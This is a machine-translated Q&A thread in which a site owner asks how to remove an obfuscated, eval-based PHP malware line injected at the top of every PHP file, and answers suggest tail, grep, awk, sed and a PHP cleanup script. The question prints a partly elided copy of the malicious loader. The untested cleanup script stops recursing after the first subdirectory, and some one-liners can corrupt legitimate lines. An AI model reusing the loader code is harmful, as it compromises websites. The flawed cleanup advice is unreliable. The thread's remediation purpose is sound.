我在共享主机中被黑了。所有php文件都在目录中有这种代码。我敢打赌,我有旧的WordPress安装,已经将一些恶意软件放入了web目录。当我没有删除那些时,我感到羞耻。现在我有两个有恶意软件的活动网站,我没有备份。所有恶意软件文件都在第一行<?php ........ ?>
现在我需要删除它。我试过Remove the first line with sed with a regular expression,但没有帮助。它没有删除任何东西。
<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x7825%x5c%x7878:-.........!%x5c%x7825tzw%x5x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c25h>#]y31]278]y35\141\x70\146\x66\153\x74\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x34\55\x31\71\x37\51\x29\54\x20\143\x68\162\x28\50\x35\65\x35\55\x34\66\x33\51\x29\54\x20\171\x79\166\x6f\151\x6b\157\x68\157\x68\50\x24\143\x6d\142\x78\170\x61\153\x63\144\x6e\54\x24\170\x6d\162\x63\171\x63\160\x6d\152\x66\51\x29\51\x3b\40\x2f\52\x20\157\x73\144\x6f\167\x6d\150\x72\145\x7a\40\x2a\57\x20"; $vmdcgfyvud=substr($xmrcycpmjf,(39882-29769),(52-40)); $vmdcgfyvud($efppuciabz, $ucpqtjetra, NULL);...... $vmdcgfyvud=$ucpqtjetra; $vmdcgfyvud=(409-288); $xmrcycpmjf=$vmdcgfyvud-1; ?><?php echo "test"?>
我希望它看起来像这样
<?php echo "test"?>
答案 0 :(得分:0)
您可以使用sed
:
tail
tail -n +2 file > output
mv output file
tail
只是忽略第一行,其他行只是回显。
或者您可以使用grep
之类的-v
标记来忽略该行:
grep -v -F '<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x782...' < file
答案 1 :(得分:0)
这会吗?
awk -F"<" '{print FS$NF}' file
<?php echo "test"?>
答案 2 :(得分:0)
试试这个简单的sed命令,
sed '1s/.*\(<.*\)$/\1/g' file
OR
sed '1s/.*</</g' file
答案 3 :(得分:0)
假设恶意软件始终包含在第一个(!)php块中,您可以使用此正则表达式
^(<\?php)(.*?)(\?>)
删除第一个PHP Block以递归方式运行每个文件,并用空字符串替换第一个匹配。
例如使用PHP
<?php
//Save as clean.php
function cleanup($dir) {
$dirh = opendir($dir);
if ($dirh) {
while (($file = readdir($dirh)) !== false) {
$file_path = $dir . "/" . $file;
if(is_file($file_path)){
$info = pathinfo($file_path);
if($info['extension'] === "php" && $info['basename'] != "clean.php"){
file_put_contents($file_path, preg_replace('/^(<\?php)(.*?)(\?>)/', '', file_get_contents($file_path), 1));
}
} else if(is_dir($file_path)){
return cleanup($file_path);
}
}
closedir($dirh);
}
}
cleanup('web'); //Pass the name of infected dir
此代码未经过测试!
请记住备份所有内容!